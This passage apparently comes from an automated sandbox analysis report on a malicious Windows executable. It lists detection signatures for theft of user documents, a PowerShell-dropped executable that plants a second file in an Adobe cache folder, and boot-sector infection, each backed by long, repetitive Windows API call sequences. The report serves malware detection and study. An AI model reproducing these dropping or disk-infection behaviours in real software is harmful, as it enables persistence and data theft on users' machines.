Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInfor8_1_5E3AEAF4

Stealing of Sensitive Information:

barindex
Searches for user specific document filesShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey value created or modified: C:\Users\user\Documents
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey value created or modified: C:\Users\user\Documents
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey value created or modified: C:\Users\user\Documents
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey value created or modified: C:\Users\user\Documents
Source: C:\Windows\System32\cmd.exeKey value created or modified: C:\Users\user\Documents
Source: C:\Windows\System32\cmd.exeKey value created or modified: C:\Users\user\Documents

Persistence and Installation Behavior:

barindex
Drops PE filesShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\qBqrnAqZqca.exe
Source: C:\Users\user\Documents\qBqrnAqZqca.exeFile created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\CRLCache\818200132aebmoouht.exe
Contains functionality to infect the boot sectorShow sources
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
